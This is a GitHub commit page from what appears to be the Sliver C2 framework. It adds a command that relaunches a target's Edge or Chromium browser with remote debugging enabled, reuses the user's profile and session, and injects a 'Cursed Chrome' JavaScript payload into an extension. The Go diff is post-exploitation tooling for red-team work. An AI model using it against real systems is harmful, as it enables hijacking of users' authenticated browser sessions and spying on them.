Skip to content

Commit

Permalink
cursed support for edge and chromium
Browse files Browse the repository at this point in the history
  • Loading branch information
moloch-- committed Sep 2, 2022
1 parent 4c67157 commit 88a5b3a
Show file tree
Hide file tree
Showing 4 changed files with 302 additions and 45 deletions.
25 changes: 24 additions & 1 deletion client/command/commands.go
Original file line number Diff line number Diff line change
Expand Up @@ -3362,7 +3362,9 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.String("i", "extension-id", "", "extension id to inject into (blank string = auto)")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")

f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
Expand All @@ -3374,6 +3376,27 @@ func BindCommands(con *console.SliverConsoleClient) {
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedEdge,
Help: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
HelpGroup: consts.GenericHelpGroup,
Flags: func(f *grumble.Flags) {
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
f.Bool("R", "restore", true, "restore the user's session after process termination")
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
f.String("u", "user-data", "", "user data directory (blank string = auto)")
f.String("p", "payload", "", "cursed chrome payload file path (.js)")

f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
cursed.CursedEdgeCmd(ctx, con)
con.Println()
return nil
},
})
cursedCmd.AddCommand(&grumble.Command{
Name: consts.CursedElectron,
Help: "Curse a remote Electron application",
Expand Down
151 changes: 107 additions & 44 deletions client/command/cursed/cursed-chrome.go
Original file line number Diff line number Diff line change
Expand Up @@ -145,37 +145,44 @@ func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *co
return nil
}
}
curse, err := startCursedChromeProcess(true, session, ctx, con)
curse, err := startCursedChromeProcess(false, session, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}

func startCursedChromeProcess(restore bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
con.PrintInfof("Finding Chrome executable path ... ")
chromeExePath, err := findChromeExecutablePath(session, ctx, con)
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
name := "Chrome"
if isEdge {
name = "Edge"
}

con.PrintInfof("Finding %s executable path ... ", name)
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")
con.PrintInfof("Finding Chrome user data directory ... ")
chromeUserDataDir, err := findChromeUserDataDir(session, ctx, con)
con.PrintInfof("Finding %s user data directory ... ", name)
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("success!\n")

con.PrintInfof("Starting Chrome process ... ")
con.PrintInfof("Starting %s process ... ", name)
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if restore {
if chromeUserDataDir != "" {
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
}
if ctx.Flags.Bool("restore") {
args = append(args, "--restore-last-session")
}

Expand All @@ -193,7 +200,7 @@ func startCursedChromeProcess(restore bool, session *clientpb.Session, ctx *grum
}
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())

con.PrintInfof("Waiting for Chrome process to initialize ... ")
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)

bindPort := insecureRand.Intn(10000) + 40000
Expand Down Expand Up @@ -236,39 +243,12 @@ func startCursedChromeProcess(restore bool, session *clientpb.Session, ctx *grum
return curse, nil
}

func isChromeProcess(executable string) bool {
var chromeProcessNames = []string{
"chrome", // Linux
"chrome.exe", // Windows
"Google Chrome", // Darwin
}
for _, suffix := range chromeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}

func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
userDataFlag := ctx.Flags.String("user-data")
if userDataFlag != "" {
return userDataFlag, nil
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}

func findChromeUserDataDir(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
switch session.GetOS() {

case "windows":
Expand All @@ -278,6 +258,9 @@ func findChromeUserDataDir(session *clientpb.Session, ctx *grumble.Context, con
}
for _, driveLetter := range windowsDriveLetters {
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
if isEdge {
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
Expand All @@ -293,6 +276,9 @@ func findChromeUserDataDir(session *clientpb.Session, ctx *grumble.Context, con

case "darwin":
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
if isEdge {
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: userDataDir,
Expand All @@ -310,22 +296,34 @@ func findChromeUserDataDir(session *clientpb.Session, ctx *grumble.Context, con
}
}

func findChromeExecutablePath(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
exeFlag := ctx.Flags.String("exe")
if exeFlag != "" {
return exeFlag, nil
}

switch session.GetOS() {

case "windows":
chromePaths := []string{
chromeWindowsPaths := []string{
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
}
if isEdge {
chromeWindowsPaths = []string{
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
}
}
username := session.GetUsername()
if strings.Contains(username, "\\") {
username = strings.Split(username, "\\")[1]
}
for _, driveLetter := range windowsDriveLetters {
for _, chromePath := range chromePaths {
for _, chromePath := range chromeWindowsPaths {
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Expand All @@ -343,7 +341,11 @@ func findChromeExecutablePath(session *clientpb.Session, ctx *grumble.Context, c
return "", ErrChromeExecutableNotFound

case "darwin":
const defaultChromePath = "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
// AFAIK Chrome only installs to this path on macOS
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
if isEdge {
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: defaultChromePath,
Expand All @@ -356,7 +358,68 @@ func findChromeExecutablePath(session *clientpb.Session, ctx *grumble.Context, c
}
return "", ErrChromeExecutableNotFound

case "linux":
chromeLinuxPaths := []string{
"/usr/bin/google-chrome",
"/usr/bin/chromium-browser",
"/usr/local/bin/google-chrome",
"/usr/local/bin/chromium-browser",
}
if isEdge {
chromeLinuxPaths = []string{
"/usr/bin/microsoft-edge",
"/usr/local/bin/microsoft-edge",
}
}
for _, chromePath := range chromeLinuxPaths {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(ctx),
Path: chromePath,
})
if err != nil {
return "", err
}
if ls.GetExists() {
return chromePath, nil
}
}
return "", ErrChromeExecutableNotFound

default:
return "", ErrUnsupportedOS
}
}

func isChromeProcess(executable string) bool {
var chromeProcessNames = []string{
"chrome", // Linux
"google-chrome", // Linux
"chromium-browser", // Linux
"chrome.exe", // Windows
"Google Chrome", // Darwin
}
for _, suffix := range chromeProcessNames {
if strings.HasSuffix(executable, suffix) {
return true
}
}
return false
}

func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if isChromeProcess(process.GetExecutable()) {
return process, nil
}
}
return nil, nil
}
Loading

0 comments on commit 88a5b3a

Please sign in to comment.